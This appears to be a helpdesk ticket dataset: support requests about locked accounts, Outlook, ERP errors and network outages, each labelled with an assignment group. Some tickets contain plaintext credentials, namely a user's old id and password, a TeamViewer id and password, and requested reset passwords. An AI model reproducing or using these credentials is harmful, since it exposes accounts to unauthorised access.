, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to create skype meetings onbehalf of tomashtgd mchectg, Description: unable to create skype meetings on behalf of tomashtgd mchectg, is assigned to Assignment group: GRP\_26.Ticket with Short description: interface1/0/40 is down on switch company-eu-deu-germany-emsw03-2960s-access-sw03 since 9:44 am et on 10/14., Description: interface1/0/40 is down on switch company-eu-deu-germany-emsw03-2960s-access-sw03 since 9:44 am et on 10/14., is assigned to Assignment group: GRP\_8.Ticket with Short description: issues viewing drawings., Description: issues viewing drawings. please see the attached document with the error messages., is assigned to Assignment group: GRP\_0.Ticket with Short description: a kÃ¼ndigung for dxnzkcuh eqdgoxap, 11161751, effective 13.10.2016 has been approved. , Description: hello , \_x000D\_
\_x000D\_
a kÃ¼ndigung for dxnzkcuh eqdgoxap, 11161751, effective 13.10.2016 has been approved. \_x000D\_
\_x000D\_
click the link to view. \_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to see all the tabs under ess, Description: unable to see all the tabs under ess, is assigned to Assignment group: GRP\_0.Ticket with Short description: let's talk video is not playing., Description: let's talk video is not playing., is assigned to Assignment group: GRP\_0.Ticket with Short description: i cannot access ethics portal, Description: i have recently switched account from company.com to company.com, now, whilst i'm able to log into the hub with the new credentials, when i try to log into the ethics portal i get this message:
"welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration\_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp. "
giuliasana byhdderni - bernig
, is assigned to Assignment group: GRP\_23.Ticket with Short description: issue with microsoft office - key entry., Description: \_x000D\_
\_x000D\_
received from: hcyemunl.lnecsgpd@gmail.com\_x000D\_
\_x000D\_
hi it team,\_x000D\_
\_x000D\_
here with enclosed the screen shot. it says this copy of microsoft office professional is not activated. please suggest what to be done for key entry for activation. this popup comes automatically after i login to ms outlook.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update for-ticket\_no0448195, Description: user called to inform that she was kicked out of eu remote after 50 minutes and now she is connected to na its working fine , is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool will not open, Description: mathrv macyhtkey, - my engineering tool client will not open. i am getting an error message, "cannot continue. the application is improperly formatheywted. contact the application vendor for assistance". i have uninstalled and re-installed several times., is assigned to Assignment group: GRP\_0.Ticket with Short description: need access to vpn , Description: need access to vpn computer name-lcvl7406035, is assigned to Assignment group: GRP\_34.Ticket with Short description: job Job\_1653 failed in job\_scheduler at: 10/14/2016 08:43:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1653 failed in job\_scheduler at: 10/14/2016 08:43:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: error message trying to log into purchasing to order, Description: error message trying to log into purchasing to order - user id - cuthyunniy
i have attached the email that shows the errors i am receiving
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request., Description: password reset request., is assigned to Assignment group: GRP\_0.Ticket with Short description: blocked out from expense report, Description: blocked out from expense report, is assigned to Assignment group: GRP\_0.Ticket with Short description: some confidential document was shared on the hub and everyone had access to it., Description: some confidential document was shared on the hub and everyone had access to it.
link : <
mikhghytr
this is an issue.
sent from my iphone
begin forwarded message:
from: efdhrlwv aoxtugzr <efdhrlwv.aoxtugzr@gmail.com>
date: october 14, 2016 at 5:00:02 am edt
to: aedwrpvo qbpafrsx <aedwrpvo.qbpafrsx@gmail.com>, aqritplu beuflorc <aqritplu.beuflorc@gmail.com>, <bnsaqekm.xoglfeij@gmail.com>, itclukpe aimcfeko <itclukpe.aimcfeko@gmail.com>, yjscozva lyjoeacv <yjscozva.lyjoeacv@gmail.com>
subject: confidential information on the hub
this was brought to my attention this morning by kpudhygb vnizrdeb. if you search "usa jobs" on the hub, this information is in the results field. just thought you all might want to know.
open:
<
, is assigned to Assignment group: GRP\_16.Ticket with Short description: request you to reset my erp password, Description: \_x000D\_
\_x000D\_
received from: dshferby.houtnzdi@gmail.com\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa backup exec server rgtsm005 has a filed raid hdd physical disk 0:0:2 , Description: usa backup exec server rgtsm005 has a filed raid hdd physical disk 0:0:2 , is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to open outlook and mobile device activation, Description: unable to open outlook and mobile device activation, is assigned to Assignment group: GRP\_0.Ticket with Short description: please reset password in SID\_34 for user id : maihtyrhu, Description: please reset password in SID\_34 for user id : maihtyrhu, is assigned to Assignment group: GRP\_0.Ticket with Short description: user id & password fail, Description:
received from: yxliakph.soucfnqe@gmail.com
dear sir,
one apprentice,mr.suniythulkuujmar,nk,is unable to view his salary statements due to user id & password fail.
pl. help to recover the same.
old id:vvkhyhums16
old password:dhad7wuz
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: telefon defekt, Description: telefon defekt, is assigned to Assignment group: GRP\_33.Ticket with Short description: invoicing error, Description: invoicing error, is assigned to Assignment group: GRP\_13.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype account login problem, Description: name:ilypdtno mkdfetuq
language:
browser:microsoft internet explorer
email:ilypdtno.mkdfetuq@gmail.com
customer number:
telephone:
summary:skype account login problem
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
dwfiykeo argtxmvcumar3
hello
ilypdtno mkdfetuq
hi ..am facing problem in signing in skype account
dwfiykeo argtxmvcumar3
please provide me id & password for team viewer
ilypdtno mkdfetuq
id :747 077 476
password :2364
dwfiykeo argtxmvcumar3
working now
ilypdtno mkdfetuq
yup , is assigned to Assignment group: GRP\_0.Ticket with Short description: the plm services is reporting a : down status on, HostName\_1032, Description: the plm services is reporting a : down status on, HostName\_1032, is assigned to Assignment group: GRP\_8.Ticket with Short description: monitor tauschen \dhoalycb yopvwrjq, Description: monitor tauschen \dhoalycb yopvwrjq, is assigned to Assignment group: GRP\_24.Ticket with Short description: password is not getting synchronized., Description: password is not getting synchronized., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable login ethics, Description: \_x000D\_
\_x000D\_
received from: igdnsjhz.awnftgev@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i'm company apac company location it. many of our users didn't receive the email for ethics training of fy17 q2. but all of them have completed ethics training of fy17 q1. i found when they log into ethics, it will be displayed below hint\_x000D\_
\_x000D\_
\_x000D\_
[cid:image002.jpg@01d22638.3c313e90]\_x000D\_
\_x000D\_
\_x000D\_
please help us change the user's ethics status back to correct setting. , is assigned to Assignment group: GRP\_23.Ticket with Short description: circuit outage:company-na-usa-usa-mpls-2811-rtr01 is down at 4:10 am et on 10/14., Description: what type of outage: \_\_\_\_\_network \_\_\_\_x\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_4:10 am et on 10/14.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_no\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_na\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_yes\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_global\_telecom\_1\_\_000000223023260\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: install office2010 \ ewel8323894 \qidgvtwa qvbutayx, Description: install office2010 \ ewel8323894 \qidgvtwa qvbutayx, is assigned to Assignment group: GRP\_24.Ticket with Short description: quote save / material creation process for configured items with quoting engine broken, Description: quote save in erp SID\_34 broken for configured items with erp vc (quoting engine). it only generates an error message "line item -> 10 specify positive values only. \_x000D\_
it seems to be a change in erp SID\_34 yesterday, oct. 13, between 8pm and 11 pm est (server time). we noticed there is a break in the material number sequence. all mm's younger than 11pm does not exists in SID\_34 neither in SID\_1 or SID\_21., is assigned to Assignment group: GRP\_20.Ticket with Short description: setup new ws \batuhan gueduel, Description: setup new ws \batuhan gueduel, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \szockfpj izohlgcq, Description: setup new ws \szockfpj izohlgcq, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \qdztknml hpcxnyrq, Description: setup new ws \qdztknml hpcxnyrq, is assigned to Assignment group: GRP\_24.Ticket with Short description: reporting\_tool dashbankrd not appearing in my crm page, Description:
received from: xfdkwusj.gyklresa@gmail.com
hello
though connected â€“ the reporting\_engineering\_tool is not shown
[cid:image001.jpg@01d22601.f9d82300]
xfdkwusj gyklresa
sales manager earthworks european served area - south
xfdkwusj.gyklresa@gmail.com<mailto:xfdkwusj.gyklresa@gmail.com>
please note our new telephone number and company address effective 22.08.2016.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
company infrastructure gmbh
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx und naruedlk mpvhakdq
, is assigned to Assignment group: GRP\_22.Ticket with Short description: cannot add the lean event, Description: i cannot launch 'add the lean event icon' in collaboration\_platform. request you to install microsoft 2013 version of it.\_x000D\_
attached is the error for your reference, is assigned to Assignment group: GRP\_0.Ticket with Short description: account zugriff dyqekzuc djhznybt wiederherstellen - dringend, Description: \_x000D\_
\_x000D\_
received from: urpbyoke.vwcbhmds@gmail.com\_x000D\_
\_x000D\_
dyqekzuc djhznybt sitzt neben mir. er kann seinen account nicht mehr Ã¶ffnen.\_x000D\_
\_x000D\_
viele grÃ¼ÃŸe, best , is assigned to Assignment group: GRP\_0.Ticket with Short description: problem with laptop- latitude 7350, Description:
received from: ybxsujwi.yzwanorl@gmail.com
dear sir ,
i have got multiple problems with the laptop
1.instant shaking of the screen
2.mails before 1 month cannot be seen unless refreshed .
3. slow in processing
please do the needful and get me out of this proms
, is assigned to Assignment group: GRP\_19.Ticket with Short description: reset the password for imjwbogq xfizlnap on erp / production / erp, Description: please reset password to 'daypay3', is assigned to Assignment group: GRP\_0.Ticket with Short description: a next issue to bobj account dbednyuarski, Description: \_x000D\_
\_x000D\_
received from: pgacouel.mpgfkxwr@gmail.com\_x000D\_
\_x000D\_
hell o,\_x000D\_
a next issue to bob j doesn't work on my account\_x000D\_
[cid:image001.png@01d225fa.3fb2a650]\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_9.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook freezes after crm update., Description: outlook freezes after crm update., is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit der anzeige von offenen emails, Description:
received from: ecoljnvt.lbdqmvfs@gmail.com
hallo ,
seit einiger zeit werden in meinem outlook nicht mehr alle offenen email angezeigt.
[cid:image003.jpg@01d225f8.ca2168f0]
ich muss immer erst auf das blau unterlegte hinweisfeld drÃ¼cken um weitere emails sehen zu kÃ¶nnen.
das geht aber nur wenn ich eine verbindung zum exchange server habe.
da das nicht immer gegeben ist, bitte entsprechend einstellen, dass ich alle emails immer lesen kann.
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: è€ƒå‹¤ç³»ç»Ÿè¿›ä¸åŽ»è¯·å¤„ç†è°¢è°¢ï¼, Description: è€ƒå‹¤ç³»ç»Ÿè¿›ä¸åŽ»è¯·å¤„ç†è°¢è°¢ï¼, is assigned to Assignment group: GRP\_30.Ticket with Short description: telephony\_software - issue very bad quality - 1064832909, Description: the sound is horrible - customer was very hard to understand. i asked him whether he has this issue, too. not on his side of the line - he said., is assigned to Assignment group: GRP\_7.Ticket with Short description: engineering tool and erp not working , Description: engineering tool and erp not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: need help in resetting password in password\_management\_tool, Description: need help in resetting password in password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: need extra awb copy for all vendor, Description:
received from: rxoynvgi.ntgdsehl@gmail.com
hi it team
kindly please assist as we need extra (mother) awb copy when closing all shipment for all vendor carriers for audit purpose. , is assigned to Assignment group: GRP\_18.Ticket with Short description: www.company.com & www.company.com are showing down in monitoring\_tool , Description: observing below alerts in monitoring\_tool since 12:14 am on 10/14 et:\_x000D\_
\_x000D\_
the www.company.com is reporting a : down status on, ec2-52-5-56-105.compute-1.amazonaws.com. please investigate \_x000D\_
the www.company.com is reporting a : down status on, ec2-52-5-56-105.compute-1.amazonaws.com. please investigate , is assigned to Assignment group: GRP\_51.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: standby laptop for mcae course 5 day 17th to 21st oct, Description:
received from: rnueobcz.lwhcbati@gmail.com
dear saravthsyana,
we need a standby laptop at hall-1 for our 5 day mcae course.
should have microsoft office, adobe reader & vlc to run the show.
please make it ready today i will collect it at 17th morning 8 am from your dept.
thanking you
, is assigned to Assignment group: GRP\_19.Ticket with Short description: job Job\_3052 failed in job\_scheduler at: 10/13/2016 23:22:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3052 failed in job\_scheduler at: 10/13/2016 23:22:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp working slow, Description:
received from: rayhtukumujar.br2@company.com
hello,
erp working is very slow since yesterday morning. but no action has been taken yet. please raise a sev2 ticket and arrange to resolve the issue immediately.
booking of orders & resolving customer's queries are getting delayed due to this. await your immediate feedback.
à²•à³ƒà²¤à²œà³à²žà²¤à³†à²—à²³à³ / with , is assigned to Assignment group: GRP\_14.Ticket with Short description: business\_client - authorisation, Description:
received from: vomtbcej.lyiwqrct@gmail.com
hello;
pl. provide business\_client authorization for checking/downloading drawings.
employee id: 20295658
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_562 failed in job\_scheduler at: 10/13/2016 22:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_562 failed in job\_scheduler at: 10/13/2016 22:21:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 10/13/2016 21:46:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 10/13/2016 21:46:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: error \_ sto from plant\_44 to plant\_55, Description: when creating sto to return complained goods from plant\_44 to plant\_55, we found the error message as below, please help fixing this issue and advise back to us aerp. , is assigned to Assignment group: GRP\_29.Ticket with Short description: so#36131539 / condition type, Description: \_x000D\_
\_x000D\_
received from: qgvbalix.smehqkyj@gmail.com\_x000D\_
\_x000D\_
hello it team,\_x000D\_
\_x000D\_
we are not able to change the condition type for pos. 20, 50 and 60 in so#36131539.\_x000D\_
please check and advise me.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: job SID\_43filesys failed in job\_scheduler at: 10/13/2016 20:38:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_43filesys failed in job\_scheduler at: 10/13/2016 20:38:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ticket update on inplant\_869308, Description: ticket update on inplant\_869308, is assigned to Assignment group: GRP\_0.Ticket with Short description: show me the text that is written on the email that has been quarantined below? , Description: show me the text that is written on the email that has been quarantined below? \_x000D\_
\_x000D\_
from: uisewznr ewtmkphs \_x000D\_
sent: friday, october 14, 2016 3:04 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: fw: notification: fwd: needed material drawing\_x000D\_
\_x000D\_
hi team,\_x000D\_
\_x000D\_
can you please show me the text that is written on the email that has been quarantined below? , is assigned to Assignment group: GRP\_26.Ticket with Short description: unable to submit expense report, Description: \_x000D\_
\_x000D\_
received from: vxzahrlc.frtkpehy@gmail.com\_x000D\_
\_x000D\_
could someone please call me. i have tried to call it and it keeps disconnecting.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to install engineering\_tool, Description: unable to install engineering\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: order shipped ups ground, Description: \_x000D\_
\_x000D\_
from: tjlgzkbp iervwjzg \_x000D\_
sent: thursday, october 13, 2016 10:37 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: ran fw: freight charge for cesco inwarehouse\_tool 0159299348\_x000D\_
\_x000D\_
ref: sales doc 36128707\_x000D\_
\_x000D\_
order shipped ups groundâ€¦.1 poundâ€¦.shipping verified freight cost in kis is $17.78.\_x000D\_
inwarehouse\_tool 0159299348 shows $34.68â€¦this is incorrect.\_x000D\_
please advise why the system applied the much higher, incorrect freight charge to their inwarehouse\_tool.\_x000D\_
, is assigned to Assignment group: GRP\_18.Ticket with Short description: ticket update on ticket\_no0449295, Description: ticket update on ticket\_no0449295, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0449268, Description: ticket update on ticket\_no0449268, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_869259, Description: ticket update on inplant\_869259, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for bnoupaki cpeioxdz using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: impact awards email, Description: from: nwqktzlx vnlqkgpb
sent: thursday, october 13, 2016 11:01 pm
to: nwfodmhc exurcwkm
subject: (phishing check?) fw: e, is assigned to Assignment group: GRP\_0.Ticket with Short description: expense report not going to correct manager, Description: expense report not going to correct manager, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to sync passwords on all accounts, Description: unable to sync passwords on all accounts, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot get prtqx7318 to print on pc rqxw8517736, drivers won't load., Description: cannot get prtqx7318 to print on pc rqxw8517736, drivers won't load., is assigned to Assignment group: GRP\_3.Ticket with Short description: kpm issue / ie upgrade from 10 to ie11, Description: kpm issue / ie upgrade from 10 to ie11, is assigned to Assignment group: GRP\_0.Ticket with Short description: amssm003:volume: c:\ disk is over 88% space consumed., Description: amssm003:volume: c:\ disk is over 88% space consumed. space available: 2.2 g, is assigned to Assignment group: GRP\_12.Ticket with Short description: blank call //gso // loud noise, Description: blank call //gso // loud noise, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp password reset for user kambthryes2 ( exlbkpoj vrkoqaje ) , Description: please reset erp - password of kambthryes2 ( exlbkpoj vrkoqaje ) to â€ždaypay3", is assigned to Assignment group: GRP\_0.Ticket with Short description: reset SID\_39 password for jidhewlg jufskody, Description: could you please reset the password for the user olthyivectr for SID\_39 in erp? he is company sales manager and his password is not working and he needs this access due the channel partner programdnty.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_869231, Description: ticket update on inplant\_869231, is assigned to Assignment group: GRP\_0.Ticket with Short description: need verification of proper user id, Description: xszoedmc gmhkdsnw,. approvals in purchasing are not working properly. please verify that the proper samaccountname in ad is in lowercase for rxqtvanc kthqwxvb (tegdtyyp) and ethd yhtheehey (shyheehew2). , is assigned to Assignment group: GRP\_2.Ticket with Short description: outlook issue, Description: outlook issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: lean tracker, Description:
received from: sdbcpvtx.hzpctsla@gmail.com
mithyke tayjuoylor and arithel shfsako get this error when they try to open the 'add a lean event' button on their pcs.
[cid:image001.png@01d2255d.a4b446f0]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: msd - office 2013 specifically outlook, Description: outlook is very slow to respond, i'm having to manually refresh to update.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: home folder share delegation of dtheb mulhylen (mullthyed) to lpoebzsc grknswyo (marthhty), Description: vip 1 // please usa user access to dtheb mulhylen's o:\ drive - full access
name : lpoebzsc grknswyo
email : lpoebzsc.grknswyo@gmail.com
telephone :
summary : as you may know, dtheb mulhylen will be retiring from company on october 28th. please usa me access to her o:\ drive - full access, is assigned to Assignment group: GRP\_2.Ticket with Short description: res: ticket\_no1558759 -- register - ie rj tax code- in erp SID\_34, Description: \_x000D\_
\_x000D\_
received from: lokiwfhg.udkoqrcg@gmail.com\_x000D\_
\_x000D\_
hi all,\_x000D\_
i already approved this by email, but i don't hear nothing about.\_x000D\_
could you please verify the status? its urgency in south\_amerirtca.\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: cannot download or print drawings from erp netweaver., Description:
summary:hello! i cannot download or print drawings from erp netweaver., is assigned to Assignment group: GRP\_3.Ticket with Short description: outlook not updating ; crashing intermittently, Description: outlook not updating ; crashing intermittently, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_175: dev/SID\_36data4a the space has been used to 98 %., Description: HostName\_175: dev/SID\_36data4a the space has been used to 98 %.\_x000D\_
HostName\_175: dev/SID\_36data3a the space has been used to 98 %.\_x000D\_
, is assigned to Assignment group: GRP\_1.Ticket with Short description: ticket update on ticket\_no0449233, Description: ticket update on ticket\_no0449233, is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation, Description: from: sbgvrncj idfhtoqv
sent: thursday, october 13, 2016 9:02 pm
to: przcxbml vnjdghui; nwfodmhc exurcwkm
cc: jywvemun qngschtz
subject: re: synchronization iphone with outlook
hi thsgy,
yes this option is available.
gso,
please open a ticket for this and i approve.
many , is assigned to Assignment group: GRP\_0.Ticket with Short description: need access to assistant programdnty in nx, Description: need access to assistant programdnty in nx, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to login to collaboration\_platform with email address and password, Description: unable to login to collaboration\_platform with email address and password, is assigned to Assignment group: GRP\_0.Ticket with Short description: email delegation, Description: i would like to have todthyd renytrner email forwarded to myself. todthyd has accepted the vsp and i will be assuming his duties., is assigned to Assignment group: GRP\_26.Ticket with Short description: windows account unlock, Description: windows account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: hpqc - initialization error, Description: trying to access hpqc \_x000D\_
\_x000D\_
error:\_x000D\_
initialization has failed. contract your system administrator. for details, see the loader log file.\_x000D\_
failure details:\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: static issue on phone..interaction id : 1064826347, Description: static issue on phone..interaction id : 1064826347, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access ap remote or eu remote while na remote is down fjaqbgnld yukdzwxs, Description: when i try to access either one i receive the message that "this page can't be displayed.", is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool not opening, Description: engineering\_tool not opening, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: email activation on company provided device, Description: email activation on company provided device, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to login, Description: \_x000D\_
\_x000D\_
received from: uypsqcbm.fqpybgri@gmail.com\_x000D\_
\_x000D\_
hi sir/ma'am\_x000D\_
\_x000D\_
refer below screenshot and help me out. urgent!\_x000D\_
\_x000D\_
[cid:image001.jpg@01d2258d.0SID\_29acb0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: office asking for license key, Description: office asking for license key, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp inbox, ich bin nicht im workcenter nr. 51111937 = pe\_emea\_fu3 = aerospace gruppe eingetragen, Description: workflow meiner gruppe fÃ¼r mich nicht sichtbar , nicht im workcenter nr. 51111937 = pe\_emea\_fu3 = aerospace gruppe eingetragen
, is assigned to Assignment group: GRP\_13.Ticket with Short description: engineering\_tool company and company not working , Description: engineering\_tool company and company not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to save docs on t drive. internet not working, Description: unable to save docs on t drive. internet not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open excel file from collaboration\_platform, Description: name:wqxzleky uwjchqor
language:
browser:microsoft internet explorer
email:wqxzleky.uwjchqor@gmail.com
customer number:
telephone:
summary:cannot open files in collaboration\_platform, get message that server isn't responding. location of files: , is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage : company-na-usa-usa-anira-rtr01 is down since 10/13 at 9:58 am est site is up on backup circuit, Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_10/13 at 9:58 am \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_yes\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: res: ticket\_no1558759 -- register - ie rj tax code- in erp SID\_34, Description:
received from: lokiwfhg.udkoqrcg@gmail.com
hi ramdntyassthywamy,
any status on this?
, is assigned to Assignment group: GRP\_10.Ticket with Short description: msd crm popup when try to lunch outlook and outlook freezing , Description: msd crm popup when try to lunch outlook and outlook freezing , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to edit in collaboration\_platform, Description: name : budighfl izbxvary
browser : microsoft internet explorer
email : budighfl.izbxvary@gmail.com
telephone :
summary : i cannot edit
, is assigned to Assignment group: GRP\_16.Ticket with Short description: ms crm emails not coming to outlook , Description: ms crm emails not coming to outlook , is assigned to Assignment group: GRP\_40.Ticket with Short description: unable to login to ethics, Description: unable to login to ethics, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update for-inplant\_866222, Description: ticket update for-inplant\_866222, is assigned to Assignment group: GRP\_0.Ticket with Short description: secure logon does not work, Description: when try and initialize secure logon get message username or password incorrect. logged on earlier this morning and it worked fine. phone , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out : windows , Description: account locked out : windows , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked, Description: account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket query regarding : ticket\_no0447258, Description: ticket query regarding : ticket\_no0447258, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open outlook, Description: unable to open outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to skype, Description: unable to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: the new iphone 6s is not getting quaraintined., Description: the new iphone 6s is not getting quaraintined., is assigned to Assignment group: GRP\_28.Ticket with Short description: having issues with outlook, Description: having issues with outlook, is assigned to Assignment group: GRP\_19.Ticket with Short description: i need accsess to this link., Description: \_x000D\_
\_x000D\_
received from: rcmziuob.xhblozqe@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i need accses to this report.\_x000D\_
\_x000D\_
